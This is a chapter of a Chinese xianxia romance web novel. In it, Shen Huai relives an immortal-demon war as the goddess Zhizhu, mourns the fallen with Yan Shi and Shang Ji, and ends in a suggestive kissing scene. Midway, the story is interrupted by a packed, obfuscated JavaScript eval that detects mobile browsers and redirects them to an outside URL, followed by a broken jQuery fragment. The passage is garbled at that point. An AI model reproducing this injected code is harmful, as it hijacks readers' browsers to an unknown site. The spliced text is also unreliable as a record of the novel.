竹上神?她记得鏖战和尚迹提过,竹上神名叫挚竹,是三千年前的三界第一,后来死在了仙魔大战之中。
所以,这两个幻境都是在仙魔大战中的事情吗?
“不好了!竹上神,你看。”军师提着一盏灯,里面有无数飞舞的萤火虫,可它们却在一个个熄灭灯光。
人死如灯灭。沈怀蓦地想到。
“仙族士兵死亡得太快了!这不符合常理!这魔族不知道用了什么卑鄙手段!”
想必,灯里的一只只萤火虫象征着仙族士兵生命的灯吧。可如今却在一点点熄灭。
她又有那种感受,分不清自己是穿越的现代大学生沈怀,还是三界第一竹上神挚竹。两种身份在她心口融合,合二为一一般,她下意识做出符合挚竹身份的举动。
“我下去探查一番。”
“不可啊!眼下战局需要您去掌局!”
“我若死了,告诉晏师,让他代替我的位置。他虽表面上爱与我对着干,实际上却是个好人,你们要信服他。”沈怀,亦或是挚竹毅然决然跳下了城楼,坠到一匹无主的马上,顷刻间驯服了它,扬长而去。
她提起一柄绿玉剑,声如洪钟:“仙族战士们,随我杀!”
她再不复昔日混不吝狂徒的模样,慨然鞭马,一骑绝尘身入敌潮。
她举重若轻持剑,游刃有余地抹脖封喉,所过之处,势不可挡,宛如人形杀器,硬生生从拥挤的敌潮中展开一条血路。
她一身青衣,本清雅如竹,如今却像一柄利刃顺刺软肉,直捣黄龙,如霆如雷。魔族顿时望风披靡,溃不成军。
她杀得痛快,豪喝一声,望向远处,见晏师正与敌方将领纠缠,于是飞身过去帮忙。
她与晏师亦对手亦朋友,交手拆招过百余次,对彼此招式十分熟稔。
但今日,还是头一次合作,竟也默契异常。
“挚竹!”那魔族头领名为轩辕新,虎背熊腰,面上赘肉耷拉下来,一怒一嗔时绞叠起来,“待我杀了你,我要生啖你肉、饮你血、把你抽筋扒皮,再挫骨扬灰!”
晏师闻言,竟有些掩盖不住的狂躁,鞭法愈发急切,密如雨下。
想来是挚竹一来,敌人的注意力又只在她这个天下第一身上,晏师又被抢了风头,因而不爽吧。挚竹想。
轩辕新扛着一柄大斧,正面挡下鞭击,后面挚竹又配合着晏师提剑攻来。
前后夹击下,轩辕新只好向旁一弯腰,闪过夹击。谁料挚竹早已有所预料,手腕一转,绿玉剑直刺向他脖颈——
却在离轩辕新脖颈前一寸处停了。
“啖肉饮血、抽筋扒皮、挫骨扬灰~”挚竹有模有样地阴阳怪气模仿他刚才的腔调,欣赏敌人被气得冒烟的表情,随后不待轩辕新反应,果断将他一剑封喉。
倏地,画面扭曲了。
沈怀回到了最初点——那两扇门前。晏师和尚迹也出来了。
几人都面有菜色,气喘吁吁,仿佛刚从大战中存活过来。
尚迹最先开口:“我的幻境,的仙魔之战。”
晏师道:“我也是。”
沈怀保持了沉默。尚迹问她:“你呢?”
沈怀直觉认为自己要隐瞒:“我是凡人,哪有参与什么大战?我就是一个路过的无名小卒。”
“也是。那个时候仙魔两族打得不可开交,也就人间还算和平。”尚迹伸了个懒腰,故作毫不在意的语调,“好久没见挚竹了。”
沈怀顿时紧张起来。幻境里,她扮作挚竹时,呈现给他们的,是挚竹还是沈怀的脸?
“战场上遥遥一望,才想起来原来她长这个样子,我都快忘记了。说起来,着实是有仙人之姿。只可惜,过去碍于她的淫威,我都没有仔细看过。”
晏师冷冰冰道:“她不是你能肖想的。”
尚迹笑了:“我可没肖想。我向来尊重姑娘意愿,妾无意,郎的情也不会留太久。倒是你,肖想得方式很独特,就是一直与她作对。”
晏师瞪他:“少胡说。”
尚迹忽然凑近沈怀,被晏师推开时,还在仔细打量:“说起来,沈怀和挚竹长得是有点像啊。你品味挺一致的。噗——”
他被晏师一掌击到墙上,镶嵌进去,吐了口血。他擦了擦嘴角的血,怒道:“这么开不起玩笑吗?”
“开玩笑得当事人觉得好笑才是玩笑,要不然就是冒犯。”沈怀说。
晏师对沈怀说:“你别听他胡说。”
沈怀点点头:“我知道。这不重要。”
不知道是不是错觉,她说“这不重要”时,晏师神情似乎有些失落。
尚迹挣扎着从墙上把自己抠了出来,说:“沈怀你也不用太介意。挚竹都死了几千年了,男人也大都薄情,他不会那么对白月光念念不忘的。他现在最爱的还是你。噗——”
他被沈怀一拂袖,甩起罡风,撞到墙上,又镶嵌进墙内,正好在刚才的凹槽旁边。
尚迹又吐了一口血,颤颤巍巍道:“你们两个,有病吧……”
沈怀和晏师不理他,打开那道朴素的真门。
迈进去时,又是一阵天旋地转,沈怀来到了茫茫风雪地中。
晏师站在她旁边。尚迹随后也进来了。
猝然,无数锐剑飞向他们!
积雪极厚,他们迈不动步伐,剑又极快,刹那便穿进他们胸口。
可穿进胸口刹那,剑却从实体变成幻影,随后一股热流流经沈怀四肢百骸。
她惊讶发现,她身躯从透明变得有色彩了!
蒸汽虫飞散了!
晏师和尚迹也如是恢复。
他们抬头望去。只见三柄通天巨剑矗立在风雪之中,剑身上附着饱经风霜的锈蚀,一派富有年代感的恢宏雄伟之风。
巨剑旁,是许多无数小剑,晏师说:“这些小剑都是英魂的化身。”
沈怀问:“那三柄巨剑呢?”
晏师默然片刻后,说:“全部用来纪念竹上神。”
仙魔大战中,魔族入侵仙界,是挚竹死守,才没有让整个天界生灵涂炭。而她,却在灵力爆发后彻底失踪。
晏师眼神幽幽地看着沈怀,向她娓娓道来这段历史。
晏师在仙魔大战爆发前受伤了。恢复后,他直闯魔族疆域,砍下了魔族头领的头。
墓碑外那照明用的人骨灯,堆叠链接成高塔形状,正是晏师用魔族首领的骨头做的,用作威慑。
系统的声音突兀响起:“浏览器APP解锁,功能是您可搜索仙魔之战中牺牲的英烈的名字,你就会想起一切。”
沈怀有些疑惑,想:“想起?这用词未免有点太奇怪。”
“浏览器这么强大,你却只有这个功能?”沈怀在脑海说,质疑系统道。
系统:“您只需要这个功能。”
沈怀心存疑虑,更奇怪了。什么叫她只需要这个功能?
蓦地,尚迹拔出彼岸刀,向晏师刺去。沈怀又身体比脑子快地闪现过去,挡在了晏师面前。
尚迹笑着收起刀:“我做个假动作而已。忽然有点好奇,是不是我杀晏师,你会替他挡刀;他杀我,你也会挡在我面前?”
“呀呀呀,做人可不能这么三心二意,喜欢两个男人怎么可以呢?虽然我不介意,但帝君想必可是不如我这般宽容大度的。”尚迹又嘴贱说道。
“噗——”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179515|180882||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沈怀和晏师同时拂袖把他打飞。
——
晏师从乾坤袖中取出提前备好的数坛酒,递与沈怀、尚迹。
乾坤袖是一个纳须弥于芥子的物件,缝于袖上,可容纳万物而不显形,自有无垠空间。
三人不复玩笑,整衣敛容,肃穆地一躬身后,于一柄柄剑前倾倒一行酒水,以作祭拜。
他们一一祭拜过先烈,最后停在三柄巨剑前,双膝跪了下来,俯身向所有人的英魂叩头。
待一切礼节结束,晏师道:“我们走吧。”
沈怀点点头。
——
翌日,天界。
“帝君,你在吗?”沈怀来找晏师,听仙女们说帝君在寝殿,就敲响了他寝室的门。
她想探探口风,了解更多关于挚竹的事情。她对于这位上古大能,总有一种冥冥之中的熟悉感。
她耐心等了许久,仍没有开门,正当她打算离开时,里面终于传来声响:“进来。”
沈怀迈进门槛,却不见人影。她关上门,疑虑地四处张望。
“帝君,你在吗——唔!”
她蓦地被人从后面捂住嘴。看不清后面那人是谁,她奋力挣扎,直到鼻尖嗅到那熟悉的绿茶香气。
她软下身子,手贴在来人捂住她嘴的手上,吚吚呜呜表示疑惑。
那人终于缓缓放开了她。沈怀回头望去,晏师双眸含水,双唇和眼眶都红红的,向下弯着,看起来极为委屈。
沈怀立马明白了,他情劫又犯了,此时神志不清醒。
那她可就爱莫能助了。
沈怀毫不犹豫,拔腿就想逃,结果晏师一拂袖就设了一个结界,挡住她去路。
沈怀一个停顿甩头:“你……”
怎么迷糊了还那么狡猾!
晏师可怜巴巴看着她,往她这边大步迈进,又凑上来,似乎在索吻。
这是什么不接吻就不能出去的房间吗?!沈怀忍不住吐槽道。
虽然是美男子,但沈怀也不喜欢乘人之危。她扭头错开脸,晏师便亲在了她脸颊上。
这一亲,让母胎单身的沈怀也起了些反应。怀里抱着这么个软香温玉大热人,她也很难不起些绮思。
晏师肤白如玉,眉目深邃,平日里没什么表情,显得不近人情。此刻被情.欲点上眼尾与双颊的微红,色泽像酿得纯熟的葡萄酒。
但沈怀嘴上再怎么吐槽说想和美男子谈恋爱,落到实践也是柳下惠。她强硬地推开晏师,说:“你现在神志不清,我不能碰你。”
晏师又扑了上来,双臂不依不饶地抱住沈怀,嘴里嘟囔着什么,听不清。
沈怀忍不住侧耳,想听他说什么,却被他又捉住机会,往脸颊上亲了一口。
顿时,像火苗落在脸上,沈怀整张侧脸被烧得通红,传来一阵奇异的酥麻爽感。
晏师似乎忍得难受,碎语化作急促的喘息。几番挣扎中,他的衣衫已然凌乱,胸襟大敞,沈怀再怎么非礼勿视地躲避,余光也能瞥到一片皎白春光。
他胸膛剧烈起伏,一双眼眸痴痴望着沈怀,握住她的右手,带着她的手抚过自己的脸庞,沿着脖颈线条来到喉结。
他带着沈怀颤抖的手,缓缓、上下摩挲自己的喉结。
沈怀的呼吸在刹那与他同频急促起来。
他又要再带着她手向下逡巡游走,沈怀回过神来,连忙抽回手:“帝君,你清醒一点!”
手中宝物骤然虚空,晏师陷入了一阵迷茫,随后视线牢牢锁定在沈怀的唇上。
这意识不清的疯子,忽地按住沈怀的后脑勺和后脖颈。
——随后倾身吻了上去。